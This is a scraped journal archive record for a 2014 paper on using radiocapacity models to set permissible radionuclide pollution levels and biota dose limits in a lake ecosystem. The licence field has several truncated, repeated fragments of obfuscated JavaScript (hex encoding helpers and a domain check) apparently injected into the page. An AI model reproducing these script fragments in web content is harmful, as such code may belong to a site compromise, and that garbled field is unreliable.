Применение модели радиоемкости для нормирования радиационного фактора в озерной экосистеме
Наукові журнали Національного Авіаційного Університету
View Archive InfoField | Value | |
Title |
Применение модели радиоемкости для нормирования радиационного фактора в озерной экосистеме
Застосування моделі радіоємності для нормування радіаційного фактора в озерній екосистемі RADIOCAPACITY MODEL APPLIANCE FOR ECOLOGICAL STANDARDIZATION OF RADIATION FACTOR IN A LAKE ECOSYSTEM |
|
Creator |
Matveeva, Iryna; National Aviation University, Kyiv, Ukraine
|
|
Subject |
—
дозовые нагрузки на биоту; радиоемкость экосистем; экологический норматив 574.15: 614.876 — дозові навантаження на біоту; екологічний норматив; радіоємність екосистем 574.15: 614.876 — ecological norm; radiation doses on the biota; radiocapacity of ecosystems 574.15: 614.876 |
|
Description |
Предложен новый подход к созданию системы экологического нормирования. Показано, что такая система не совпадает с действующей системой гигиенического нормирования. Опираясь на модели радиационной емкости и теорию надежности экосистем, предложен метод установления критического состояния биоты на примере озерной экосистемы. Через оценку и контроль критической дозовой нагрузки на исследуемую биоту, через модели радиоемкости определены уровни допустимого загрязнения радионуклидами компонентов экосистемы. Уровни допустимого радионуклидного загрязнения оценены как такие, при которых дозовая нагрузка на критическую биоту озера не должна превышать предельно допустимую норму — 4 Гр/год.
Запропоновано новий підхід до створення системи екологічного нормування. Показано, що така система не збігається з діючою системою гігієнічного нормування. Спираючись на моделі радіаційної ємності і теорію надійності екосистем, запропоновано метод установлення критичного стану біоти на прикладі озерної екосистеми. Через оцінку і контроль критичного дозового навантаження на біоту досліджуваної екосистеми, через моделі радіоємності визначено рівні допустимого забруднення радіонуклідами компонентів екосистеми. Рівні допустимого радіонуклідного забруднення оцінено як такі, при яких дозове навантаження на критичну біоту озера не повинно перевищувати граничнодопустиму норму — 4 Гр / рік. In the article a new approach to creation of an ecological standardization system is offered. Such system does not coincide with the working hygienic standardization system. Basing on the radiation capacity model and theory of ecosystems reliability a method of defining of critical biota condition on an example of a lake ecosystem is offered. Through an estimation and control of a critical radiation dose on the given biota, through radiocapacity models the levels of permissible radionuclides pollution of the ecosystem’s components are determined. The levels of permissible radionuclides pollution are estimated as such, at which radiation dose on the critical biota of the lake may not exceed the allowed limit — 4 Gy/year |
|
Publisher |
National Aviation University
|
|
Contributor |
—
— — |
|
Date |
2014-06-25
|
|
Type |
—
— — |
|
Format |
application/pdf
application/pdf application/pdf |
|
Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/6696
10.18372/2306-1472.58.6696 |
|
Source |
Proceedings of the National Aviation University; Том 58, № 1 (2014); 70-74
Вестник Национального авиационного университета; Том 58, № 1 (2014); 70-74 Вісник Національного Авіаційного Університету; Том 58, № 1 (2014); 70-74 |
|
Language |
uk
|
|
Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access).// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e |
|